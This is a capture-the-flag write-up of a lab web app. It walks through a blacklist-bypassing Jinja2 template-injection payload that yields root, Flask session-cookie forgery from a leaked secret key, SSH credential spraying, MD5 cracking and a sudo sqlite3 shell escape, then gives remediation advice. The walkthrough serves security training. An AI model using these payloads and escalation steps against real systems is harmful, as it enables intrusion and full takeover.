SSTI

HACKERDNA WEB EXPLOITATION · FROM A PREVIEW BANNER TO UID=0

FortiPy — TechSphere

A blacklist-filtered Jinja2 SSTI in a Flask app running as root → hex-escape WAF bypass → root RCE. The designed route: `SECRET_KEY` leak → forged admin session → SSH creds → DB hash-crack → `sudo sqlite3`.

MACHINE	CATEGORY	DIFFICULTY
FortiPy	Web Exploitation	Hard
TARGET	**RESULT**	**OPERATOR**
Flask / Werkzeug 3.1.3	user + root	Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

A naive substring blacklist is not a sandbox — one hex escape turns "filtered" SSTI into root.

Category **Web Exploitation** · Difficulty **Hard** · Stack **Flask + Jinja2 (Werkzeug 3.1.3 / Python 3.12.11)** · Foothold **SSTI** · Root **SSTI-as-root / sudo sqlite3**

TechSphere Innovations is a small Flask app whose `/welcome` endpoint concatenates a query parameter straight into a template string and hands it to `render_template_string` — a textbook **Server-Side Template Injection**. The author "protected" it with a case-insensitive substring blacklist (`__`, `os`, `globals`, `popen`, `read`, `open`, `[`, `%`, `<`, `ls`). Because Jinja resolves `\xNN` string escapes *after* the filter has already inspected the raw bytes, the blacklist never sees the dangerous tokens it is meant to block.

The Flask process runs as **PID 1 / root** inside its container, so a single SSTI request yields **uid=0** and both flags. This writeup captures that shortcut *and* reconstructs the full designed chain end-to-end, because the box is engineered to teach the longer path.

LAYERS / OBJECTIVES

- **SSTI** — Jinja2 injection at `/welcome?user=`, behind a substring WAF.
- **WAF bypass** — Jinja `\xNN` hex-string escapes + `|attr()`/`__getitem__` gadget chain.
- **Flask Security** — `{{ config }}` leaks `SECRET_KEY`; forge a `role:admin` session cookie.
- **Credential access** — the admin-gated `/sshadmin` route dumps 25 SSH credentials.
- **Database enumeration + hash cracking** — an `oldcreds` table of MD5 hashes yields `sqladmin`.
- **Privilege escalation** — `sqladmin` has NOPASSWD `sudo sqlite3` → GTFOBins `.shell` → root.

#	LAYER	TECHNIQUE	RESULT
1	Recon	nmap · route enumeration	22 / 80 / 7681; SSTI surface found
2	SSTI	`/welcome?user={{7*7}}` → 49	injection confirmed
3	WAF bypass	Jinja `\xNN` hex escapes	arbitrary Jinja restored
4	RCE	`subprocess.check_output` gadget	uid=0 (root) — both flags
5	Flask forgery	`SECRET_KEY` leak → admin cookie	`/sshadmin` → 25 SSH creds
6	Foothold	SSH `devadmin14`	user flag + `db_config.ini`
7	DB + crack	`oldcreds` MD5 → `sqladmin`	sqladmin password

#	LAYER	TECHNIQUE	RESULT
8	Privesc	`sudo sqlite3 .shell`	root flag

01 · RECONNAISSANCE

Two Python services and a corporate facade

A full TCP sweep returns a tiny surface: SSH, a Flask dev server, and a stray WebSocket.

```
$ NMAP -PN -ST -P- --MIN-RATE 3000 <TARGET>                    RECON

$ nmap -Pn -n -sV --top-ports 200 <target>
22/tcp   open  ssh     OpenSSH 10.0 (protocol 2.0)
80/tcp   open  http    Werkzeug httpd 3.1.3 (Python 3.12.11)
7681/tcp open  http    Python websockets 16.0 (Python 3.13)
# :80 = Flask dev server ("TechSphere Innovations", Bootstrap front-end)
# :7681 = raw WebSocket endpoint (no HTTP surface) — parked, unused in the solve
```

Authenticating (register → login) exposes the real application. The login response sets a Flask signed session cookie whose payload is legible base64:

```
$ DECODE SET-COOKIE: SESSION=...                               SESSION

$ echo eyJyb2xlIjoidXNlciIsInVzZXIiOiJyZWNvbl9vcHMifQ | base64 -d
{"role":"user","user":"recon_ops"}
# a role field in a Flask cookie == secret-key forgery target if SECRET_KEY leaks
```

The authenticated dashboard advertises four tools. Three are traps or dead ends; one is the way in.

ROUTE	PURPOSE	VERDICT
/console	"Command Console"	Decoy — only exact `ls`/`pwd`/`whoami` run; `whoami` hard-baits "root", all else returns `It's Not That Easy!!`
/debug	log viewer	Troll — prints `See /***** to view in detail`; the "masked route" is a literal ***** f-string, no real endpoint
/upload	.txt file upload	Writes to `UPLOAD_FOLDER` with a random name; not needed
/welcome	"Development Preview"	SSTI sink — reflects `?user=` into a template string

THE TELL

`/welcome` renders **"Welcome "** with a trailing space and no visible parameter — a missing interpolation. Probing query keys, `?user=` is the one that fills it.

02 · SERVER-SIDE TEMPLATE INJECTION

Concatenation into `render_template_string`

The injection is unambiguous — a math probe evaluates server-side:

$ SSTI CONFIRMATION /WELCOME

```
$ curl -sG <target>/welcome --data-urlencode 'user={{7*7}}'
... <h4 class="card-title">Welcome 49</h4> ...
```

The source (recovered later via RCE) shows exactly why — user input is **string-concatenated** into the template body, the worst possible SSTI shape:

/OPT/WEBAPP/APP.PY — WELCOME() SOURCE

```
@app.route("/welcome")
def welcome():
    user_input = request.args.get("user", "")
    # Blacklisted keywords to prevent SSTI-based RCE
    blacklist = ["read","ls","popen","os","globals","__","%","<","open","[","]"]
    if any(bw in user_input.lower() for bw in blacklist):
        return redirect(url_for("member_login"))   # 302 sink on detection
    template = """ ... <h4 class="card-title">Welcome """ + user_input + """ ... """
    return render_template_string(template)         # still vulnerable, "basic filtering"
```

Note the reflection point is `{{ session.user }}` on the dashboard (auto-escaped, inert) — the exploitable sink is only `/welcome`, where the value is spliced into the template *source*, not passed as a variable.

03 · MAPPING & BYPASSING THE BLACKLIST

The filter reads bytes; Jinja reads escapes

Black-box probing (before source recovery) mapped the filter precisely. Blocked tokens redirect to `/member_login` (302); allowed tokens render. The blacklist is a **case-insensitive substring match on the raw input**.

`blocked` — `__` · `globals` · `os` · `popen` · `read` · `open` · `ls` · `[` · `]` · `%` · `<`

`allowed` — `init` · `class` · `builtins` · `subprocess` · `import` · `attr` · `getitem` · `request` · `config` · `cycler`

Every RCE gadget needs `__` (dunder access) and one of `os`/`popen`/`read`/`globals` — all blocked. The bypass is a byte-vs-semantics gap: Jinja string literals support `\xNN` escapes that the engine resolves *at evaluation time*, after the WAF has already scanned the request. `"\x5f\x5finit\x5f\x5f"` contains no literal `__`, but evaluates to `__init__`. Escaping one character inside `globals` defeats that keyword too.

THE SHORTCUT

Hex-escape the dunder names **and the shell command**, then rebuild the gadget with `|attr()` (avoids `.`-dunder access) and `__getitem__` (avoids the blocked `[` subscript). Nothing dangerous ever appears in the raw payload.

JINJA2 RCE GADGET — LOGICAL FORM — PAYLOAD

```
# readable intent (would be blocked verbatim):
{{ cycler.__init__.__globals__.__builtins__
     .__import__("subprocess").check_output("id",shell=True) }}

# WAF-passing form — dunders/keywords as \xNN, subscript via __getitem__:
{{ cycler|attr("\x5f\x5finit\x5f\x5f")
        |attr("\x5f\x5fgl\x6fbals\x5f\x5f")
        |attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")
        |attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("subprocess")
        |attr("check_output")("<hex-escaped command>",shell=True) }}
```

Validated in a local Jinja2 `Environment()` before touching the target — the same globals (`cycler`, `lipsum`) exist there — so the first live request lands.

04 · SSTI → ROOT RCE & CONFIG LEAK

The Flask process is PID 1, running as root

Driving the gadget returns command output directly in the "Welcome" slot. The very first probe reveals the ballgame:

$ FORTIPY_SSTI.PY 'ID; CAT /PROC/1/CMDLINE' RCE

```
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
python3 /opt/webapp/app.py
# the app runs as root and IS pid 1 — SSTI == container root
```

Because the SSTI already yields root, both flags are readable in one step:

$ READ BOTH FLAGS VIA SSTI LOOT

```
$ fortipy_ssti.py 'cat /home/devadmin14/flag-user.txt /root/flag-root.txt'
75ec69aa-815a-42fd-f70c-ea442a341a1d   # user
e29dca62-4860-44d5-d96e-47ad62f8ee54   # root
```

The same SSTI leaks the Flask config — the keystone for the designed path:

$ /WELCOME?USER={{ CONFIG }} FLASK

```
<Config {'SECRET_KEY': 'evjcLayPlvdm1UAuNZqpZeVVyyJzYKB5cpLFvUbNMv6FeEYQM4',
         'UPLOAD_FOLDER': 'thisisnevertobefoundbyanyone', 'DEBUG': False, ... }>
```

SHORTCUT PATH — COMPLETE

SSTI → hex-escape bypass → **uid=0** → both flags. Everything below is the *intended* chain, reconstructed and verified independently so each flag is proven twice.

05 · FLASK SECURITY — SESSION FORGERY

A leaked SECRET_KEY forges an admin, and admins get the keys

The app hides a role-gated route that leaks the entire SSH credential set:

/OPT/WEBAPP/APP.PY — SSHADMIN() & CREDS — SOURCE

```
password_list = ["Xx1@z5D8wTqV9p!3NsBk", ..., "secureADMINpass001", ...]   # 25 fixed pw's
ssh_creds = [(f"devadmin{i}", password_list[i]) for i in range(25)]        # devadmin0..24

@app.route("/sshadmin")
def sshadmin():
    if session.get("role") == "admin":
        return render_template("sshadmin.html", creds=ssh_creds)
    return "Access denied!", 403
```

With the leaked key, a valid `role:admin` cookie is trivial to mint (Flask's `SecureCookieSessionInterface`), and `/sshadmin` then hands over all 25 credentials:

$ FORGE ADMIN COOKIE → GET /SSHADMIN — FLASK-FORGERY

```
>>> app.secret_key = "evjcLayPlvdm1UAuNZqpZeVVyyJzYKB5cpLFvUbNMv6FeEYQM4"
>>> SecureCookieSessionInterface().get_signing_serializer(app).dumps({"role":"admin","user":"pwn"})
eyJyb2xlIjoiYWRtaW4iLCJ1c2VyIjoicHduIn0.al0roA._TNUNK0Gq_MwSeBgpIkDn4Hk-Iw

$ curl -s -H "Cookie: session=<forged>" <target>/sshadmin
devadmin0  : Xx1@z5D8wTqV9p!3NsBk
...
devadmin14 : secureADMINpass001          # the account that owns the user flag
```

06 · SSH FOOTHOLD — USER FLAG

Credential spray → devadmin14

The 25 recovered pairs are sprayed against SSH (the "SSH brute force" step, now a keyed list rather than a blind guess). `devadmin14` lands and holds the user flag plus a pivot file:

$ SSH DEVADMIN14@<TARGET> FOOTHOLD

```
$ sshpass -p 'secureADMINpass001' ssh devadmin14@<target> 'id; cat flag-user.txt; cat db_config.ini'
uid=1000(devadmin14) gid=1000(devadmin14) groups=1000(devadmin14)
75ec69aa-815a-42fd-f70c-ea442a341a1d          # USER FLAG (matches SSTI read)
[database]
user=sqluser
password=sqlpass123
```

INTENDED PATH

SSTI leaks `SECRET_KEY` → forge admin → `/sshadmin` → SSH `devadmin14` → user flag. No RCE bypass required; the WAF is meant to look unbeatable so players take this route.

07 · DATABASE ENUMERATION & HASH CRACKING

An `oldcreds` table crowns `sqladmin`

The application database `/opt/database/database.db` holds three decoy tables (50 rows of fake customer PII, transactions, logs) and one that matters — `oldcreds`, four unsalted MD5 hashes:

SQLITE3 /OPT/DATABASE/DATABASE.DB — OLDCREDS DB

```
testuser  : 60849f5dba5a5fa98a180e25a1a9a2f2
dbtester  : e704ce44d4b5ce635a7d797195024081
sqladmin  : 6e70d06760276024943e0ec1339ef527          # the one that counts
old_admin : 34e541102b00fea03c343ddc5872af98
```

$ JOHN --FORMAT=RAW-MD5 --WORDLIST=ROCKYOU.TXT CRACK

```
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt oldcreds.hashes
sqlvb60foxpro    (6e70d06760276024943e0ec1339ef527)    # sqladmin — instant
# the other three are decoys (uncracked, irrelevant)
```

MD5 `6e70d0…ef527` → **`sqlvb60foxpro`** = the `sqladmin` account password. `/etc/passwd` confirms `devadmin14`, `sqluser` and `sqladmin` are all real local users.

08 · PRIVILEGE ESCALATION — ROOT FLAG

sudo sqlite3 is a shell you already own

sqladmin's sudo rights are a GTFOBins classic — an interpreter run as root:

SQLADMIN@FORTIPY $ SUDO -N -L — SUDOERS

```
User sqladmin may run the following commands on ip-10-0-13-232:
    (ALL) NOPASSWD: /usr/bin/sqlite3 /opt/database/database.db
```

The sudo rule pins the exact argument, so the escalation cannot pass a shell command as an extra argv (that would fail the match). Instead the dot-command is fed on **stdin** — the sudo argv stays exactly `sqlite3 /opt/database/database.db`, and sqlite's `.shell` runs a command as root:

SQLADMIN@FORTIPY $ GTFOBINS SQLITE3 .SHELL — ROOT

```
$ echo '.shell id; cat /root/flag-root.txt' | sudo -n sqlite3 /opt/database/database.db
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
e29dca62-4860-44d5-d96e-47ad62f8ee54          # ROOT FLAG (matches SSTI read)
```

INTENDED PATH — COMPLETE

SSH `devadmin14` → DB enum → crack `sqladmin` MD5 → `sudo sqlite3 .shell` → root. Both flags now proven by two independent methods.

09 · IMPACT & REMEDIATION

Every control here was decorative

ROOT CAUSES

- **SSTI by concatenation.** User input spliced into a template *source* string is unconditional RCE. Render fixed templates and pass data as context variables — never build the template text from input.
- **Blacklist ≠ sandbox.** A substring denylist is bypassed by encoding (`\xNN`), attribute filters, and concatenation. If templating on untrusted input is unavoidable, use a real sandbox (`SandboxedEnvironment`) — and even that is not a security boundary against a determined attacker.
- **App runs as root / PID 1.** A web process should never be root. Drop privileges; the SSTI would then yield an unprivileged shell, not the whole box.
- **Secrets in source + a role in the cookie.** A static `SECRET_KEY` plus a client-side `role` means any key disclosure is instant admin. Keep authorization server-side; rotate keys out of source.
- **Credentials at rest.** 25 plaintext SSH passwords behind a forgeable session, reused MD5 hashes in a reachable DB, and a config file handing one user to the next — a linked chain of credential reuse.
- **Sudo to an interpreter.** `sqlite3` (like `vi`, `awk`, `find`) has a shell escape; NOPASSWD sudo to it is NOPASSWD sudo to root.

> LESSON
>
> Defense-in-depth means each layer must hold on its own. Here the SSTI filter, the admin gate, the DB, and the sudo rule were all individually bypassable — and they were chained precisely because none of them was a real boundary.

APPENDIX · LEDGER

Flags, credentials & key takeaways

USER `75ec69aa-815a-42fd-f70c-ea442a341a1d` CAPTURED

ROOT `e29dca62-4860-44d5-d96e-47ad62f8ee54` CAPTURED

CREDENTIAL LEDGER

PRINCIPAL	SECRET	RECOVERED VIA
SECRET_KEY	evjcLayPlvdm1UAuNZqpZeVVyyJzYKB5cpLFvUbNMv6FeEYQM4	SSTI `{{ config }}`
devadmin14	secureADMINpass001	`/sshadmin` (forged admin)
sqluser	sqlpass123	`~/db_config.ini`
sqladmin	sqlvb60foxpro	cracked `oldcreds` MD5

ATTACK SURFACE REFERENCE

- SSTI — `GET /welcome?user=` · Jinja2 concat · substring WAF.
- bypass — `\xNN` hex escapes · `|attr()` · `__getitem__`.
- forgery — leaked `SECRET_KEY` · `role:admin` cookie · `/sshadmin`.
- privesc — `sudo -n sqlite3` · GTFOBins `.shell` via stdin.
- decoys — `/console` · `/debug /*****` · users/transactions/logs tables.

Solved user + root. Two paths, one target: the fast one proves the filter was theatre; the slow one proves the whole system was a chain of individually-broken links.